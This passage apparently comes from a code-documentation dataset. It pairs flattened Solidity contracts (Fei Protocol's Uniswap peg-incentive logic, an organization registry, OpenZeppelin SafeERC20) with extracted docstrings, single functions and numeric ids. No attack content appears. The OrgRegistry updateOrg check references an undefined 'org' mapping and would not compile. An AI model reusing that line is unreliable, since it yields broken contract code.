int256"); return int256(value); } } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/uniswap/lib/contracts/libraries/Babylonian.sol // SPDX-License-Identifier: GPL-3.0-or-later /* pragma solidity >=0.4.0; */ // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian_3 { function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } ////// ./contracts/refs/UniRef.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/math/SignedSafeMath.sol"; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/utils/SafeCast.sol"; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/uniswap/lib/contracts/libraries/Babylonian.sol"; */ /* import "./OracleRef.sol"; */ /* import "./IUniRef.sol"; */ /// @title A Reference to Uniswap /// @author Fei Protocol /// @notice defines some modifiers and utilities around interacting with Uniswap /// @dev the uniswap pair should be FEI and another asset abstract contract UniRef is IUniRef, OracleRef { using Decimal for Decimal.D256; using Babylonian_3 for uint256; using SignedSafeMath_2 for int256; using SafeMathCopy for uint256; using SafeCast_2 for uint256; using SafeCast_2 for int256; /// @notice the Uniswap router contract IUniswapV2Router02_2 public override router; /// @notice the referenced Uniswap pair contract IUniswapV2Pair_3 public override pair; /// @notice UniRef constructor /// @param _core Fei Core to reference /// @param _pair Uniswap pair to reference /// @param _router Uniswap Router to reference /// @param _oracle oracle to reference constructor( address _core, address _pair, address _router, address _oracle ) public OracleRef(_core, _oracle) { _setupPair(_pair); router = IUniswapV2Router02_2(_router); _approveToken(address(fei())); _approveToken(token()); _approveToken(_pair); } /// @notice set the new pair contract /// @param _pair the new pair /// @dev also approves the router for the new pair token and underlying token function setPair(address _pair) external override onlyGovernor { _setupPair(_pair); _approveToken(token()); _approveToken(_pair); } /// @notice the address of the non-fei underlying token function token() public view override returns (address) { address token0 = pair.token0(); if (address(fei()) == token0) { return pair.token1(); } return token0; } /// @notice pair reserves with fei listed first /// @dev uses the max of pair fei balance and fei reserves. Mitigates attack vectors which manipulate the pair balance function getReserves() public view override returns (uint256 feiReserves, uint256 tokenReserves) { address token0 = pair.token0(); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); (feiReserves, tokenReserves) = address(fei()) == token0 ? (reserve0, reserve1) : (reserve1, reserve0); return (feiReserves, tokenReserves); } /// @notice get deviation from peg as a percent given price /// @dev will return Decimal.zero() if above peg function deviationBelowPeg( Decimal.D256 calldata price, Decimal.D256 calldata peg ) external pure override returns (Decimal.D256 memory) { return _deviationBelowPeg(price, peg); } /// @notice amount of pair liquidity owned by this contract /// @return amount of LP tokens function liquidityOwned() public view override returns (uint256) { return pair.balanceOf(address(this)); } /// @notice ratio of all pair liquidity owned by this contract function _ratioOwned() internal view returns (Decimal.D256 memory) { uint256 balance = liquidityOwned(); uint256 total = pair.totalSupply(); return Decimal.ratio(balance, total); } /// @notice returns true if price is below the peg /// @dev counterintuitively checks if peg < price because price is reported as FEI per X function _isBelowPeg(Decimal.D256 memory peg) internal view returns (bool) { (Decimal.D256 memory price, , ) = _getUniswapPrice(); return peg.lessThan(price); } /// @notice approves a token for the router function _approveToken(address _token) internal { uint256 maxTokens = uint256(-1); IERC20_5(_token).approve(address(router), maxTokens); } function _setupPair(address _pair) internal { pair = IUniswapV2Pair_3(_pair); emit PairUpdate(_pair); } function _isPair(address account) internal view returns (bool) { return address(pair) == account; } /// @notice utility for calculating absolute distance from peg based on reserves /// @param reserveTarget pair reserves of the asset desired to trade with /// @param reserveOther pair reserves of the non-traded asset /// @param peg the target peg reported as Target per Other function _getAmountToPeg( uint256 reserveTarget, uint256 reserveOther, Decimal.D256 memory peg ) internal pure returns (uint256) { uint256 radicand = peg.mul(reserveTarget).mul(reserveOther).asUint256(); uint256 root = radicand.sqrt(); if (root > reserveTarget) { return (root - reserveTarget).mul(1000).div(997); } return (reserveTarget - root).mul(1000).div(997); } /// @notice calculate amount of Fei needed to trade back to the peg function _getAmountToPegFei( uint256 feiReserves, uint256 tokenReserves, Decimal.D256 memory peg ) internal pure returns (uint256) { return _getAmountToPeg(feiReserves, tokenReserves, peg); } /// @notice calculate amount of the not Fei token needed to trade back to the peg function _getAmountToPegOther( uint256 feiReserves, uint256 tokenReserves, Decimal.D256 memory peg ) internal pure returns (uint256) { return _getAmountToPeg(tokenReserves, feiReserves, invert(peg)); } /// @notice get uniswap price and reserves /// @return price reported as Fei per X /// @return reserveFei fei reserves /// @return reserveOther non-fei reserves function _getUniswapPrice() internal view returns ( Decimal.D256 memory, uint256 reserveFei, uint256 reserveOther ) { (reserveFei, reserveOther) = getReserves(); return ( Decimal.ratio(reserveFei, reserveOther), reserveFei, reserveOther ); } /// @notice get final uniswap price after hypothetical FEI trade /// @param amountFei a signed integer representing FEI trade. Positive=sell, negative=buy /// @param reserveFei fei reserves /// @param reserveOther non-fei reserves function _getFinalPrice( int256 amountFei, uint256 reserveFei, uint256 reserveOther ) internal pure returns (Decimal.D256 memory) { uint256 k = reserveFei.mul(reserveOther); int256 signedReservesFei = reserveFei.toInt256(); int256 amountFeiWithFee = amountFei > 0 ? amountFei.mul(997).div(1000) : amountFei; // buys already have fee factored in on uniswap's other token side uint256 adjustedReserveFei = signedReservesFei.add(amountFeiWithFee).toUint256(); uint256 adjustedReserveOther = k / adjustedReserveFei; return Decimal.ratio(adjustedReserveFei, adjustedReserveOther); // alt: adjustedReserveFei^2 / k } /// @notice return the percent distance from peg before and after a hypothetical trade /// @param amountIn a signed amount of FEI to be traded. Positive=sell, negative=buy /// @return initialDeviation the percent distance from peg before trade /// @return finalDeviation the percent distance from peg after hypothetical trade /// @dev deviations will return Decimal.zero() if above peg function _getPriceDeviations(int256 amountIn) internal view returns ( Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation, Decimal.D256 memory _peg, uint256 feiReserves, uint256 tokenReserves ) { _peg = peg(); (Decimal.D256 memory price, uint256 reserveFei, uint256 reserveOther) = _getUniswapPrice(); initialDeviation = _deviationBelowPeg(price, _peg); Decimal.D256 memory finalPrice = _getFinalPrice(amountIn, reserveFei, reserveOther); finalDeviation = _deviationBelowPeg(finalPrice, _peg); return ( initialDeviation, finalDeviation, _peg, reserveFei, reserveOther ); } /// @notice return current percent distance from peg /// @dev will return Decimal.zero() if above peg function _getDistanceToPeg() internal view returns (Decimal.D256 memory distance) { (Decimal.D256 memory price, , ) = _getUniswapPrice(); return _deviationBelowPeg(price, peg()); } /// @notice get deviation from peg as a percent given price /// @dev will return Decimal.zero() if above peg function _deviationBelowPeg( Decimal.D256 memory price, Decimal.D256 memory peg ) internal pure returns (Decimal.D256 memory) { // If price <= peg, then FEI is more expensive and above peg // In this case we can just return zero for deviation if (price.lessThanOrEqualTo(peg)) { return Decimal.zero(); } Decimal.D256 memory delta = price.sub(peg, "Impossible underflow"); return delta.div(peg); } } ////// ./contracts/token/IIncentive.sol /* pragma solidity ^0.6.2; */ /// @title incentive contract interface /// @author Fei Protocol /// @notice Called by FEI token contract when transferring with an incentivized address /// @dev should be appointed as a Minter or Burner as needed interface IIncentive { // ----------- Fei only state changing api ----------- /// @notice apply incentives on transfer /// @param sender the sender address of the FEI /// @param receiver the receiver address of the FEI /// @param operator the operator (msg.sender) of the transfer /// @param amount the amount of FEI transferred function incentivize( address sender, address receiver, address operator, uint256 amount ) external; } ////// ./contracts/token/IUniswapIncentive.sol /* pragma solidity ^0.6.2; */ /* pragma experimental ABIEncoderV2; */ /* import "./IIncentive.sol"; */ /* import "../external/Decimal.sol"; */ /// @title UniswapIncentive interface /// @author Fei Protocol interface IUniswapIncentive is IIncentive { // ----------- Events ----------- event TimeWeightUpdate(uint256 _weight, bool _active); event GrowthRateUpdate(uint256 _growthRate); event ExemptAddressUpdate(address indexed _account, bool _isExempt); // ----------- Governor only state changing api ----------- function setExemptAddress(address account, bool isExempt) external; function setTimeWeightGrowth(uint32 growthRate) external; function setTimeWeight( uint32 weight, uint32 growth, bool active ) external; // ----------- Getters ----------- function isIncentiveParity() external view returns (bool); function isExemptAddress(address account) external view returns (bool); // solhint-disable-next-line func-name-mixedcase function TIME_WEIGHT_GRANULARITY() external view returns (uint32); function getGrowthRate() external view returns (uint32); function getTimeWeight() external view returns (uint32); function isTimeWeightActive() external view returns (bool); function getBuyIncentive(uint256 amount) external view returns ( uint256 incentive, uint32 weight, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ); function getSellPenalty(uint256 amount) external view returns ( uint256 penalty, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ); function getSellPenaltyMultiplier( Decimal.D256 calldata initialDeviation, Decimal.D256 calldata finalDeviation ) external view returns (Decimal.D256 memory); function getBuyIncentiveMultiplier( Decimal.D256 calldata initialDeviation, Decimal.D256 calldata finalDeviation ) external view returns (Decimal.D256 memory); } ////// ./contracts/utils/SafeMath32.sol // SPDX-License-Identifier: MIT // SafeMath for 32 bit integers inspired by OpenZeppelin SafeMath /* pragma solidity ^0.6.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath32 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint32 a, uint32 b) internal pure returns (uint32) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint32 a, uint32 b, string memory errorMessage) internal pure returns (uint32) { require(b <= a, errorMessage); uint32 c = a - b; return c; } } ////// /home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/math/Math.sol // SPDX-License-Identifier: MIT /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Standard math utilities missing in the Solidity language. */ library Math_4 { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } ////// ./contracts/token/UniswapIncentive.sol /* pragma solidity ^0.6.0; */ /* pragma experimental ABIEncoderV2; */ /* import "/home/brock/git_pkgs/fei-protocol-core/contracts/openzeppelin/contracts/math/Math.sol"; */ /* import "./IUniswapIncentive.sol"; */ /* import "../utils/SafeMath32.sol"; */ /* import "../refs/UniRef.sol"; */ /// @title Uniswap trading incentive contract /// @author Fei Protocol /// @dev incentives are only appplied if the contract is appointed as a Minter or Burner, otherwise skipped contract UniswapIncentive is IUniswapIncentive, UniRef { using Decimal for Decimal.D256; using SafeMath32 for uint32; using SafeMathCopy for uint256; struct TimeWeightInfo { uint32 blockNo; uint32 weight; uint32 growthRate; bool active; } TimeWeightInfo private timeWeightInfo; /// @notice the granularity of the time weight and growth rate uint32 public constant override TIME_WEIGHT_GRANULARITY = 100_000; mapping(address => bool) private _exempt; /// @notice UniswapIncentive constructor /// @param _core Fei Core to reference /// @param _oracle Oracle to reference /// @param _pair Uniswap Pair to incentivize /// @param _router Uniswap Router constructor( address _core, address _oracle, address _pair, address _router, uint32 _growthRate ) public UniRef(_core, _pair, _router, _oracle) { _setTimeWeight(0, _growthRate, false); } function incentivize( address sender, address receiver, address, uint256 amountIn ) external override onlyFei { require(sender != receiver, "UniswapIncentive: cannot send self"); updateOracle(); if (_isPair(sender)) { _incentivizeBuy(receiver, amountIn); } if (_isPair(receiver)) { _incentivizeSell(sender, amountIn); } } /// @notice set an address to be exempted from Uniswap trading incentives /// @param account the address to update /// @param isExempt a flag for whether to exempt or unexempt function setExemptAddress(address account, bool isExempt) external override onlyGovernor { _exempt[account] = isExempt; emit ExemptAddressUpdate(account, isExempt); } /// @notice set the time weight growth function function setTimeWeightGrowth(uint32 growthRate) external override onlyGovernor { TimeWeightInfo memory tw = timeWeightInfo; timeWeightInfo = TimeWeightInfo( tw.blockNo, tw.weight, growthRate, tw.active ); emit GrowthRateUpdate(growthRate); } /// @notice sets all of the time weight parameters /// @param weight the stored last time weight /// @param growth the growth rate of the time weight per block /// @param active a flag signifying whether the time weight is currently growing or not function setTimeWeight( uint32 weight, uint32 growth, bool active ) external override onlyGovernor { _setTimeWeight(weight, growth, active); } /// @notice the growth rate of the time weight per block function getGrowthRate() public view override returns (uint32) { return timeWeightInfo.growthRate; } /// @notice the time weight of the current block /// @dev factors in the stored block number and growth rate if active function getTimeWeight() public view override returns (uint32) { TimeWeightInfo memory tw = timeWeightInfo; if (!tw.active) { return 0; } uint32 blockDelta = block.number.toUint32().sub(tw.blockNo); return tw.weight.add(blockDelta * tw.growthRate); } /// @notice returns true if time weight is active and growing at the growth rate function isTimeWeightActive() public view override returns (bool) { return timeWeightInfo.active; } /// @notice returns true if account is marked as exempt function isExemptAddress(address account) public view override returns (bool) { return _exempt[account]; } /// @notice return true if burn incentive equals mint function isIncentiveParity() public view override returns (bool) { uint32 weight = getTimeWeight(); if (weight == 0) { return false; } (Decimal.D256 memory price, , ) = _getUniswapPrice(); Decimal.D256 memory deviation = _deviationBelowPeg(price, peg()); if (deviation.equals(Decimal.zero())) { return false; } Decimal.D256 memory incentive = _calculateBuyIncentiveMultiplier(deviation, deviation, weight); Decimal.D256 memory penalty = _calculateSellPenaltyMultiplier(deviation); return incentive.equals(penalty); } /// @notice get the incentive amount of a buy transfer /// @param amount the FEI size of the transfer /// @return incentive the FEI size of the mint incentive /// @return weight the time weight of thhe incentive /// @return _initialDeviation the Decimal deviation from peg before a transfer /// @return _finalDeviation the Decimal deviation from peg after a transfer /// @dev calculated based on a hypothetical buy, applies to any ERC20 FEI transfer from the pool function getBuyIncentive(uint256 amount) public view override returns ( uint256 incentive, uint32 weight, Decimal.D256 memory _initialDeviation, Decimal.D256 memory _finalDeviation ) { int256 signedAmount = amount.toInt256(); // A buy withdraws FEI from uni so use negative amountIn ( Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation, Decimal.D256 memory peg, uint256 reserveFei, uint256 reserveOther ) = _getPriceDeviations( -1 * signedAmount ); weight = getTimeWeight(); // buy started above peg if (initialDeviation.equals(Decimal.zero())) { return (0, weight, initialDeviation, finalDeviation); } uint256 incentivizedAmount = amount; // if buy ends above peg, only incentivize amount to peg if (finalDeviation.equals(Decimal.zero())) { incentivizedAmount = _getAmountToPegFei(reserveFei, reserveOther, peg); } Decimal.D256 memory multiplier = _calculateBuyIncentiveMultiplier(initialDeviation, finalDeviation, weight); incentive = multiplier.mul(incentivizedAmount).asUint256(); return (incentive, weight, initialDeviation, finalDeviation); } /// @notice get the burn amount of a sell transfer /// @param amount the FEI size of the transfer /// @return penalty the FEI size of the burn incentive /// @return _initialDeviation the Decimal deviation from peg before a transfer /// @return _finalDeviation the Decimal deviation from peg after a transfer /// @dev calculated based on a hypothetical sell, applies to any ERC20 FEI transfer to the pool function getSellPenalty(uint256 amount) public view override returns ( uint256 penalty, Decimal.D256 memory _initialDeviation, Decimal.D256 memory _finalDeviation ) { int256 signedAmount = amount.toInt256(); ( Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation, Decimal.D256 memory peg, uint256 reserveFei, uint256 reserveOther ) = _getPriceDeviations(signedAmount); // if trafe ends above peg, it was always above peg and no penalty needed if (finalDeviation.equals(Decimal.zero())) { return (0, initialDeviation, finalDeviation); } uint256 incentivizedAmount = amount; // if trade started above but ended below, only penalize amount going below peg if (initialDeviation.equals(Decimal.zero())) { uint256 amountToPeg = _getAmountToPegFei(reserveFei, reserveOther, peg); incentivizedAmount = amount.sub( amountToPeg, "UniswapIncentive: Underflow" ); } Decimal.D256 memory multiplier = _calculateIntegratedSellPenaltyMultiplier(initialDeviation, finalDeviation); penalty = multiplier.mul(incentivizedAmount).asUint256(); return (penalty, initialDeviation, finalDeviation); } /// @notice returns the multiplier used to calculate the sell penalty /// @param initialDeviation the percent from peg at start of trade /// @param finalDeviation the percent from peg at the end of trade function getSellPenaltyMultiplier( Decimal.D256 calldata initialDeviation, Decimal.D256 calldata finalDeviation ) external view override returns (Decimal.D256 memory) { return _calculateIntegratedSellPenaltyMultiplier(initialDeviation, finalDeviation); } /// @notice returns the multiplier used to calculate the buy reward /// @param initialDeviation the percent from peg at start of trade /// @param finalDeviation the percent from peg at the end of trade function getBuyIncentiveMultiplier( Decimal.D256 calldata initialDeviation, Decimal.D256 calldata finalDeviation ) external view override returns (Decimal.D256 memory) { return _calculateBuyIncentiveMultiplier(initialDeviation, finalDeviation, getTimeWeight()); } function _incentivizeBuy(address target, uint256 amountIn) internal ifMinterSelf { if (isExemptAddress(target)) { return; } ( uint256 incentive, uint32 weight, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ) = getBuyIncentive(amountIn); _updateTimeWeight(initialDeviation, finalDeviation, weight); if (incentive != 0) { fei().mint(target, incentive); } } function _incentivizeSell(address target, uint256 amount) internal ifBurnerSelf { if (isExemptAddress(target)) { return; } ( uint256 penalty, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ) = getSellPenalty(amount); uint32 weight = getTimeWeight(); _updateTimeWeight(initialDeviation, finalDeviation, weight); if (penalty != 0) { require(penalty < amount, "UniswapIncentive: Burn exceeds trade size"); fei().burnFrom(address(pair), penalty); // burn from the recipient which is the pair } } function _calculateBuyIncentiveMultiplier( Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation, uint32 weight ) internal pure returns (Decimal.D256 memory) { Decimal.D256 memory correspondingPenalty = _calculateIntegratedSellPenaltyMultiplier(finalDeviation, initialDeviation); // flip direction Decimal.D256 memory buyMultiplier = initialDeviation.mul(uint256(weight)).div( uint256(TIME_WEIGHT_GRANULARITY) ); if (correspondingPenalty.lessThan(buyMultiplier)) { return correspondingPenalty; } return buyMultiplier; } // The sell penalty smoothed over the curve function _calculateIntegratedSellPenaltyMultiplier(Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation) internal pure returns (Decimal.D256 memory) { if (initialDeviation.equals(finalDeviation)) { return _calculateSellPenaltyMultiplier(initialDeviation); } Decimal.D256 memory numerator = _sellPenaltyBound(finalDeviation).sub(_sellPenaltyBound(initialDeviation)); Decimal.D256 memory denominator = finalDeviation.sub(initialDeviation); Decimal.D256 memory multiplier = numerator.div(denominator); if (multiplier.greaterThan(Decimal.one())) { return Decimal.one(); } return multiplier; } function _sellPenaltyBound(Decimal.D256 memory deviation) internal pure returns (Decimal.D256 memory) { return deviation.pow(3).mul(33); } function _calculateSellPenaltyMultiplier(Decimal.D256 memory deviation) internal pure returns (Decimal.D256 memory) { Decimal.D256 memory multiplier = deviation.mul(deviation).mul(100); // m^2 * 100 if (multiplier.greaterThan(Decimal.one())) { return Decimal.one(); } return multiplier; } function _updateTimeWeight( Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation, uint32 currentWeight ) internal { // Reset when trade ends above peg if (finalDeviation.equals(Decimal.zero())) { _setTimeWeight(0, getGrowthRate(), false); return; } // when trade starts above peg but ends below, activate time weight if (initialDeviation.equals(Decimal.zero())) { _setTimeWeight(0, getGrowthRate(), true); return; } // when trade starts and ends below the peg, update the values uint256 updatedWeight = uint256(currentWeight); // Partial buy should update time weight if (initialDeviation.greaterThan(finalDeviation)) { Decimal.D256 memory remainingRatio = finalDeviation.div(initialDeviation); updatedWeight = remainingRatio .mul(uint256(currentWeight)) .asUint256(); } // cap incentive at max penalty uint256 maxWeight = finalDeviation .mul(100) .mul(uint256(TIME_WEIGHT_GRANULARITY)) .asUint256(); // m^2*100 (sell) = t*m (buy) updatedWeight = Math_4.min(updatedWeight, maxWeight); _setTimeWeight(updatedWeight.toUint32(), getGrowthRate(), true); } function _setTimeWeight( uint32 weight, uint32 growthRate, bool active ) internal { uint32 currentGrowth = getGrowthRate(); uint32 blockNo = block.number.toUint32(); timeWeightInfo = TimeWeightInfo(blockNo, weight, growthRate, active); emit TimeWeightUpdate(weight, active); if (currentGrowth != growthRate) { emit GrowthRateUpdate(growthRate); } } }
ratio of all pair liquidity owned by this contract
function _ratioOwned() internal view returns (Decimal.D256 memory) { uint256 balance = liquidityOwned(); uint256 total = pair.totalSupply(); return Decimal.ratio(balance, total); }
1,692,150
// SPDX-License-Identifier: CC0 pragma solidity ^0.6.9; pragma experimental ABIEncoderV2; import "./IOrgRegistry.sol"; import "./Registrar.sol"; import "../../../lib/contracts/ERC165Compatible.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /// @dev Contract for maintaining organization registry /// Contract inherits from Ownable and ERC165Compatible /// Ownable contains ownership criteria of the organization registry /// ERC165Compatible contains interface compatibility checks contract OrgRegistry is Ownable, ERC165Compatible, Registrar, IOrgRegistry { struct Org { address orgAddress; bytes32 name; bytes messagingEndpoint; bytes whisperKey; bytes zkpPublicKey; bytes metadata; } struct OrgInterfaces { bytes32 groupName; address tokenAddress; address shieldAddress; address verifierAddress; } mapping (address => Org) orgMap; mapping (uint => OrgInterfaces) orgInterfaceMap; uint orgInterfaceCount; Org[] public orgs; mapping(address => address) managerMap; event RegisterOrg( bytes32 _name, address _address, bytes _messagingEndpoint, bytes _whisperKey, bytes _zkpPublicKey, bytes _metadata ); event UpdateOrg( bytes32 _name, address _address, bytes _messagingEndpoint, bytes _whisperKey, bytes _zkpPublicKey, bytes _metadata ); /// @dev constructor function that takes the address of a pre-deployed ERC1820 /// registry. Ideally, this contract is a publicly known address: /// 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24. Inherently, the constructor /// sets the interfaces and registers the current contract with the global registry constructor(address _erc1820) public ERC165Compatible() Registrar(_erc1820) { setInterfaces(); setInterfaceImplementation("IOrgRegistry", address(this)); } /// @notice This is an implementation of setting interfaces for the organization /// registry contract /// @dev the character '^' corresponds to bit wise xor of individual interface id's /// which are the parsed 4 bytes of the function signature of each of the functions /// in the org registry contract function setInterfaces() public override onlyOwner returns (bool) { /// 0x54ebc817 is equivalent to the bytes4 of the function selectors in IOrgRegistry _registerInterface(this.registerOrg.selector ^ this.registerInterfaces.selector ^ this.getOrgCount.selector ^ this.getInterfaceAddresses.selector); return true; } /// @notice This function is a helper function to be able to get the /// set interface id by the setInterfaces() function getInterfaces() external pure returns (bytes4) { return this.registerOrg.selector ^ this.registerInterfaces.selector ^ this.getOrgCount.selector ^ this.getInterfaceAddresses.selector; } /// @notice Indicates whether the contract implements the interface 'interfaceHash' for the address 'addr' or not. /// @dev Below implementation is necessary to be able to have the ability to register with ERC1820 /// @param interfaceHash keccak256 hash of the name of the interface /// @param addr Address for which the contract will implement the interface /// @return ERC1820_ACCEPT_MAGIC only if the contract implements 'interfaceHash' for the address 'addr'. function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns(bytes32) { return ERC1820_ACCEPT_MAGIC; } /// @dev Since this is an inherited method from Registrar, it allows for a new manager to be set /// for this contract instance function assignManager(address _newManager) external onlyOwner { assignManagement(_newManager); } /// @notice Function to register an organization /// @param _address ethereum address of the registered organization /// @param _name name of the registered organization /// @param _messagingEndpoint public messaging endpoint /// @param _whisperKey public key required for message communication /// @param _zkpPublicKey public key required for commitments & to verify EdDSA signatures with /// @dev Function to register an organization /// @return `true` upon successful registration of the organization function registerOrg( address _address, bytes32 _name, bytes calldata _messagingEndpoint, bytes calldata _whisperKey, bytes calldata _zkpPublicKey, bytes calldata _metadata ) external onlyOwner override returns (bool) { Org memory org = Org(_address, _name, _messagingEndpoint, _whisperKey, _zkpPublicKey, _metadata); orgMap[_address] = org; orgs.push(org); emit RegisterOrg( _name, _address, _messagingEndpoint, _whisperKey, _zkpPublicKey, _metadata ); return true; } /// @notice Function to update an organization /// @param _address require the ethereum address of the registered organization to update the org /// @param _name name of the registered organization /// @param _messagingEndpoint public messaging endpoint /// @param _whisperKey public key required for message communication /// @param _zkpPublicKey public key required for commitments & to verify EdDSA signatures with /// @dev Function to update an organization /// @return `true` upon successful registration of the organization function updateOrg( address _address, bytes32 _name, bytes calldata _messagingEndpoint, bytes calldata _whisperKey, bytes calldata _zkpPublicKey, bytes calldata _metadata ) external override returns (bool) { require(msg.sender == org[_address].address, "Must update Org from registered org address"); orgMap[_address].name = _name; orgMap[_address].messagingEndpoint = _messagingEndpoint; orgMap[_address].whisperKey = _whisperKey; orgMap[_address].zkpPublicKey = _zkpPublicKey; orgMap[_address].metadata = _metadata; emit UpdateOrg( _name, _address, _messagingEndpoint, _whisperKey, _zkpPublicKey, _metadata ); return true; } /// @notice Function to register the names of the interfaces associated with the OrgRegistry /// @param _groupName name of the working group registered by an organization /// @param _tokenAddress name of the registered token interface /// @param _shieldAddress name of the registered shield registry interface /// @param _verifierAddress name of the verifier registry interface /// @dev Function to register an organization's interfaces for easy lookup /// @return `true` upon successful registration of the organization's interfaces function registerInterfaces( bytes32 _groupName, address _tokenAddress, address _shieldAddress, address _verifierAddress ) external onlyOwner returns (bool) { orgInterfaceMap[orgInterfaceCount] = OrgInterfaces( _groupName, _tokenAddress, _shieldAddress, _verifierAddress ); orgInterfaceCount++; return true; } /// @dev Function to get the count of number of organizations to help with extraction /// @return length of the array containing organization addresses function getOrgCount() external override view returns (uint) { return orgs.length; } /// @notice Function to get a single organization's details function getOrg(address _address) external override view returns ( address, bytes32, bytes memory, bytes memory, bytes memory, bytes memory ) { return ( orgMap[_address].orgAddress, orgMap[_address].name, orgMap[_address].messagingEndpoint, orgMap[_address].whisperKey, orgMap[_address].zkpPublicKey, orgMap[_address].metadata ); } /// @notice Function to get organization's interface details function getInterfaceAddresses() external view returns ( bytes32[] memory, address[] memory, address[] memory, address[] memory ) { bytes32[] memory gName = new bytes32[](orgInterfaceCount); address[] memory tfAddress = new address[](orgInterfaceCount); address[] memory sAddress = new address[](orgInterfaceCount); address[] memory vrAddress = new address[](orgInterfaceCount); for (uint i = 0; i < orgInterfaceCount; i++) { OrgInterfaces storage orgInterfaces = orgInterfaceMap[i]; gName[i] = orgInterfaces.groupName; tfAddress[i] = orgInterfaces.tokenAddress; sAddress[i] = orgInterfaces.shieldAddress; vrAddress[i] = orgInterfaces.verifierAddress; } return ( gName, tfAddress, sAddress, vrAddress ); } }
Function to update an organization _address require the ethereum address of the registered organization to update the org _name name of the registered organization _messagingEndpoint public messaging endpoint _whisperKey public key required for message communication _zkpPublicKey public key required for commitments & to verify EdDSA signatures with Function to update an organization return `true` upon successful registration of the organization
function updateOrg( address _address, bytes32 _name, bytes calldata _messagingEndpoint, bytes calldata _whisperKey, bytes calldata _zkpPublicKey, bytes calldata _metadata ) external override returns (bool) { require(msg.sender == org[_address].address, "Must update Org from registered org address"); orgMap[_address].name = _name; orgMap[_address].messagingEndpoint = _messagingEndpoint; orgMap[_address].whisperKey = _whisperKey; orgMap[_address].zkpPublicKey = _zkpPublicKey; orgMap[_address].metadata = _metadata; emit UpdateOrg( _name, _address, _messagingEndpoint, _whisperKey, _zkpPublicKey, _metadata ); return true; }
5,456,420
// Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; // import "./IERC20.sol"; // import "../../math/SafeMath.sol"; // import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); 